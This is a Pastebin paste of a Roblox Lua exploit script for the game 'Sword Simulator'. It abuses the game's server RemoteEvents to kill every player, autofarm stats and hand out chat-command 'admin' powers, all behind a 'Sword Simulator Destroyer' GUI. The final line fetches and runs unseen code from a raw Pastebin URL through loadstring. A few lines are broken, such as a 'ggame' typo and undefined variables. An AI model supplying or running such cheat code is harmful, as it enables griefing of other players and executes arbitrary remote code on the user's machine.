Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --[[
- WARNING: The commands('cmds', 'admin' and 'unadmin' will make you chat)
- To kill silently type '/e kill' (it will kill everybody)[/align]
- [align=center]You cant kill the people that have force field on
- --------------------------
- Prefix --> ':'
- [0]CMDS:
- [1]kill (me/plr/others/all)
- [2]admin (all/plr)
- [3]unadmin (all/plr)
- [4]af (autofarm)
- [5]saf (stop autofarm)
- [6]cmds (chats the cmds list)
- --------------------------
- If you found any bug please go to this thread and let me know it!
- https://v3rmillion.net/showthread.php?tid=690888
- --]]
- local isAdmin = {[game.Players.LocalPlayer.Name] = true, ["FRIEND1"] = true, ["FRIEND2"] = true} --Admins
- local lplr = game.Players.LocalPlayer.Name
- local au = false
- Owner = game:GetService("Players").LocalPlayer
- game:GetService("StarterGui"):SetCore("SendNotification", {
- Title = "Sword Simulator Admin";
- Text = "Enjoy the script while it lasts!";})
- function GetPlayer(String) -- Credits to Timeless/xFunnieuss for the get player by string function
- local Found = {}
- for i,v in pairs(game:GetService("Players"):GetPlayers()) do
- if v.Name:lower():sub(1, #String) == String:lower() then
- table.insert(Found,v)
- end
- end
- return Found
- end
- local function AF()
- au = true
- game:GetService('Players').LocalPlayer.Character.Humanoid:EquipTool(game.Players[lplr].Backpack["sword"])
- while au do
- game.Workspace[lplr].sword.Handle.up.RemoteEvent:FireServer() wait(.1)
- if game.Players[lplr].Backpack["sword"] then
- game:GetService('Players').LocalPlayer.Character.Humanoid:EquipTool(game.Players[lplr].Backpack["sword"])
- end
- end
- end
- local function KA()
- game:GetService('Players').LocalPlayer.Character.Humanoid:EquipTool(game.Players[lplr].Backpack["sword"])
- for i,v in ipairs(game.Players:GetPlayers())do
- game.Workspace[lplr].sword.Handle.dmg.RemoteEvent:FireServer(workspace[v.Name].Humanoid, 9999999999999999999999)
- end end
- local function KO()
- game:GetService('Players').LocalPlayer.Character.Humanoid:EquipTool(game.Players[lplr].Backpack["sword"])
- for i,v in ipairs(game.Players:GetPlayers())do
- if v.Name ~= game.Players.LocalPlayer.Name then
- game.Workspace[lplr].sword.Handle.dmg.RemoteEvent:FireServer(workspace[v.Name].Humanoid, 9999999999999999999999)
- end end
- end
- print'Loaded'
- function onChatted(message, player)
- if message:sub(1, 6) == ";kill " and isAdmin[player.Name] then
- if string.sub(message, 7) == "all" then
- KA()
- elseif string.sub(message, 7) == "me" then
- game:GetService('Players').LocalPlayer.Character.Humanoid:EquipTool(game.Players[lplr].Backpack["sword"])
- ggame.Workspace[lplr].sword.Handle.dmg.RemoteEvent:FireServer(workspace[v.Name].Humanoid, 9999999999999999999999)
- elseif string.sub(message, 7) == "others" then
- if player.Name == Owner.Name then
- KO()
- else
- game:GetService('Players').LocalPlayer.Character.Humanoid:EquipTool(game.Players[lplr].Backpack["sword"])
- for i,v in ipairs(game.Players:GetPlayers())do
- if v.Name ~= player.Name then
- game.Workspace[lplr].sword.Handle.dmg.RemoteEvent:FireServer(workspace[v.Name].Humanoid, 9999999999999999999999)
- end end
- end
- else
- game:GetService('Players').LocalPlayer.Character.Humanoid:EquipTool(game.Players[lplr].Backpack["sword"])
- for i,v in pairs(GetPlayer(string.sub(message, 7)))do
- local plr = v.Name
- for i,p in ipairs(game.Players:GetPlayers())do
- if p.Name ~= game.Players.LocalPlayer.Name then
- game.Workspace[lplr].sword.Handle.dmg.RemoteEvent:FireServer(workspace[v.Name].Humanoid, 9999999999999999999999)
- end end end
- end
- end
- if message:sub(1, 7) == "/e kill" and isAdmin[player.Name] then
- KA()
- end
- if message:sub(1, 6) == ";cmds" then
- if player.Name == Owner.Name then
- wait(0.2)
- game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer("[System]CMDS: [1]kill(me/plr/others/all), [2]admin(all/plr), [3]unadmin(all/plr), [4]af(autofarm), [5]saf(stop autofarm), [6]cmds", "All")
- elseif isAdmin[player.Name] and player.Name ~= Owner.Name then
- wait(0.2)
- game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer("[System]CMDS: [1]kill(me/plr/others/all), [2]admin(all/plr), [3]unadmin(all/plr), [4]cmds", "All")
- end
- end
- if message:sub(1, 7) == ";admin " and isAdmin[player.Name] then
- if string.sub(message, 8) == "all" and isAdmin[Owner.Name] then
- if isAdmin[Owner.Name] then
- for i,plrs in ipairs(game:GetService('Players'):GetChildren())do
- isAdmin[plrs.Name] = {true}
- end
- wait(0.2)
- game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer("[System]Everyone is now Admin!", "All")
- end
- else
- for i,v in pairs(GetPlayer(string.sub(message, 8)))do
- local plr = v.Name
- if isAdmin[plr] then
- game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer("[System]"..plr.." is already Admin!", "All")
- else
- isAdmin[plr] = {true}
- wait(0.2)
- game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer("[System]"..plr.." is now Admin!", "All")
- end
- end
- end
- end
- if message:sub(1, 9) == ";unadmin " and isAdmin[player.Name] then
- if string.sub(message, 10) == "all" then
- if isAdmin[Owner.Name] then
- for i,plrs in ipairs(game:GetService('Players'):GetPlayers())do
- isAdmin[plrs.Name] = false
- isAdmin[Owner.Name] = true
- end
- wait(0.2)
- game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer("[System]Everyone is no longer Admin!", "All")
- end
- else
- for i,v in pairs(GetPlayer(string.sub(message, 10)))do
- local plr = v.Name
- if plr == Owner.Name then
- game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer("[System]Error, this player is the Owner!", "All")
- else
- isAdmin[plr] = false
- wait(0.2)
- game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer("[System]"..plr.." is no longer Admin!", "All")
- end
- end
- end
- end
- if message:sub(1, 3) == ";af" and player.Name == Owner.Name then
- AF()
- end
- if message:sub(1, 4) == ";saf" and player.Name == Owner.Name then
- au = false
- end
- end
- Players = game:GetService("Players")
- for i, player in pairs(Players:GetPlayers()) do
- player.Chatted:connect(function(message) onChatted(message, player) end)
- end
- --Check if someone joined
- game.Players.PlayerAdded:connect(function(player)
- player.Chatted:connect(function(message) onChatted(message, player) end)
- end)
- --//-- DETECTION --\\--
- if game:GetService("CoreGui"):FindFirstChild("Dankity") then
- game:GetService("CoreGui").Dankity:Destroy()
- end
- --//-- VARIABLES --\\--
- Dankity = Instance.new("ScreenGui", game:GetService("Players").LocalPlayer.PlayerGui)
- Main = Instance.new("Frame", Dankity)
- Header = Instance.new("Frame", Main)
- Text = Instance.new("TextLabel", Header)
- Username = Instance.new("TextBox", Main)
- Kill = Instance.new("TextButton", Main)
- Power = Instance.new("TextButton", Main)
- LocalPlayer = game:GetService("Players").LocalPlayer
- Backpack = LocalPlayer.Backpack
- Character = LocalPlayer.Character
- Humanoid = Character.Humanoid
- --//-- PROPERTIES --\\--
- Dankity.Name = "Dankity"
- Dankity.ResetOnSpawn = false
- Main.Name = "Main"
- Main.BackgroundColor3 = Color3.new(0.384314, 0.384314, 0.384314)
- Main.BorderSizePixel = 0
- Main.Active = true
- Main.Draggable = true
- Main.Selectable = true
- Main.Position = UDim2.new(0.321995467, 0, 0.22910662, 0)
- Main.Size = UDim2.new(0, 471, 0, 375)
- Header.Name = "Header"
- Header.BackgroundColor3 = Color3.new(0.560784, 0.560784, 0.560784)
- Header.BorderSizePixel = 0
- Header.Position = UDim2.new(0, 0, 0.0613333359, 0)
- Header.Size = UDim2.new(0, 471, 0, 64)
- Text.Name = "Text"
- Text.BackgroundColor3 = Color3.new(1, 1, 1)
- Text.BackgroundTransparency = 1
- Text.Position = UDim2.new(0.165605083, 0, 0.102874994, 0)
- Text.Size = UDim2.new(0, 315, 0, 50)
- Text.Font = Enum.Font.SourceSansBold
- Text.Text = "Sword Simulator Destroyer"
- Text.TextColor3 = Color3.new(1, 1, 1)
- Text.TextSize = 30
- Username.Name = "Username"
- Username.BackgroundColor3 = Color3.new(0.560784, 0.560784, 0.560784)
- Username.BorderSizePixel = 0
- Username.Position = UDim2.new(0.17622079, 0, 0.346666723, 0)
- Username.Size = UDim2.new(0, 305, 0, 50)
- Username.Font = Enum.Font.SourceSansSemibold
- Username.Text = "Username"
- Username.TextColor3 = Color3.new(1, 1, 1)
- Username.TextSize = 20
- Kill.Name = "Kill"
- Kill.BackgroundColor3 = Color3.new(0.560784, 0.560784, 0.560784)
- Kill.BorderSizePixel = 0
- Kill.Position = UDim2.new(0.282377899, 0, 0.519999981, 0)
- Kill.Size = UDim2.new(0, 200, 0, 50)
- Kill.Font = Enum.Font.SourceSansSemibold
- Kill.Text = "Kill"
- Kill.TextColor3 = Color3.new(1, 1, 1)
- Kill.TextSize = 20
- Kill.TextWrapped = true
- Power.Name = "Power"
- Power.BackgroundColor3 = Color3.new(0.560784, 0.560784, 0.560784)
- Power.BorderSizePixel = 0
- Power.Position = UDim2.new(0.282377899, 0, 0.685333312, 0)
- Power.Size = UDim2.new(0, 200, 0, 50)
- Power.Font = Enum.Font.SourceSansSemibold
- Power.Text = "Power-Farming"
- Power.TextColor3 = Color3.new(1, 1, 1)
- Power.TextSize = 20
- Power.TextWrapped = true
- --//-- FUNCTIONS --\\--
- function GetPlayers(Name)
- if Name:lower() == "me" then
- return {Player}
- elseif Name:lower() == "all" then
- return game:GetService("Players"):GetPlayers()
- elseif Name:lower() == "others" then
- local t = {}
- for i, v in pairs(game:GetService("Players"):GetPlayers()) do
- if v.Name ~= Player.Name then
- t[#t+1] = v
- end
- end
- return t
- else
- local t = {}
- for i, v in pairs(game:GetService("Players"):GetPlayers()) do
- if v.Name:sub(1, #Name):lower() == Name:lower() then
- t[#t+1] = v
- end
- end
- return t
- end
- end
- --//-- SCRIPTING --\\--
- Kill.MouseButton1Click:Connect(function()
- for _,v in pairs(Backpack:GetChildren()) do
- Humanoid:EquipTool(v)
- end
- local Plrs = GetPlayers(Username.Text)
- for i,v in pairs(Plrs) do
- for i = 1 , 10 do
- if Character:FindFirstChild("sword") then
- Character.sword.Handle.dmg.RemoteEvent:FireServer(game:GetService("Workspace")[v.Name].Humanoid, 9999)
- end
- end
- end
- end)
- Power.MouseButton1Click:Connect(function()
- for _,v in pairs(Backpack:GetChildren()) do
- Humanoid:EquipTool(v)
- end
- if Character:FindFirstChild("sword") then
- while wait() do
- Character.sword.Handle.up.RemoteEvent:FireServer()
- if not Character:FindFirstChild("sword") then
- for _,v in pairs(Backpack:GetChildren()) do
- Humanoid:EquipTool(v)
- end
- end
- end
- end
- end)
- loadstring(game:HttpGet("https://pastebin.com/raw/nq8i487S", true))()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement